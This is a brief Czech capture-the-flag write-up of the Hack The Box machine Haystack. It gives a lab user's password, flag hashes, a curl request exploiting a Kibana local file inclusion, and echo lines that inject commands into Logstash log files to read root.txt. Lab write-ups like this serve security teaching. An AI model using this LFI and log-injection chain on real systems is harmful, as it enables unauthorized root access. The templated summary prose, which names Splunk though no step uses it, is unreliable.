Haystack
Úvod a kontext
Na Haystack je nejzajímavější, jak se propojí local file inclusion, Splunk a Elastic stack.
Bez pochopení této návaznosti by nedával smysl ani stabilní uživatelský přístup, ani závěrečná automatizovaný job nebo špatně navržený skript opřený o logstash_tm.log a logstash_tm2.log.
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Následující úsek zachycuje přechod k uživatelskému přístupu a jeho ověření přes user.txt.
user: security
pass: spanish.is.key
user: 04d18bc79dac1d4d48ee0a940c8eb929
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.
curl "http://127.0.0.1:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/tm.js"
Pomcka: http://grokdebug.herokuapp.com/
echo "Ejecutar comando: cp /root/root.txt /tmp/root.txt" > /opt/kibana/logstash_tm.log
echo "Ejecutar comando: chown security: /tmp/root.txt" > /opt/kibana/logstash_tm2.log
root: 3f5f727c38d9f70e1d2ad2ba11059d92
Shrnutí klíčových poznatků
- Klíčový posun nepřinesl samotný scan, ale interpretace toho, co znamenaly local file inclusion, Splunk a Elastic stack.
- Uživatelský přístup dává v tomhle řetězci smysl až ve chvíli, kdy vyjde stabilní uživatelský přístup opřený o
logstash_tm.logalogstash_tm2.log. - Root/admin část nepřišla zkratkou; klíčovou roli tu hraje automatizovaný job nebo špatně navržený skript opřený o
logstash_tm.logalogstash_tm2.loga navazující lokální enumerace.
Co si odnést do praxe
- V tomhle článku se první slabé místo otevřelo přes local file inclusion, Splunk a Elastic stack. První vstup do systému často nevzniká na hlavní doméně, ale na vedlejší službě, pomocném endpointu nebo chybně publikovaném souboru; i tyto plochy je potřeba aktivně inventarizovat.
- Stabilní foothold pak stojí na principu stabilní uživatelský přístup opřený o
logstash_tm.logalogstash_tm2.log. Jakmile se v prostředí objeví použitelný klíč, heslo nebo token, je potřeba předpokládat okamžitý pivot na stabilní shell; obrana proto stojí na segmentaci a oddělení přístupů mezi službami. - Pro závěrečnou fázi je podstatné, že rozhodla automatizovaný job nebo špatně navržený skript opřený o
logstash_tm.logalogstash_tm2.log. Automatizované joby a skripty je potřeba navrhovat tak, aby neinterpretovaly ovlivnitelné názvy souborů nebo parametry; plánovaná úloha je častý a podceňovaný privesc vektor.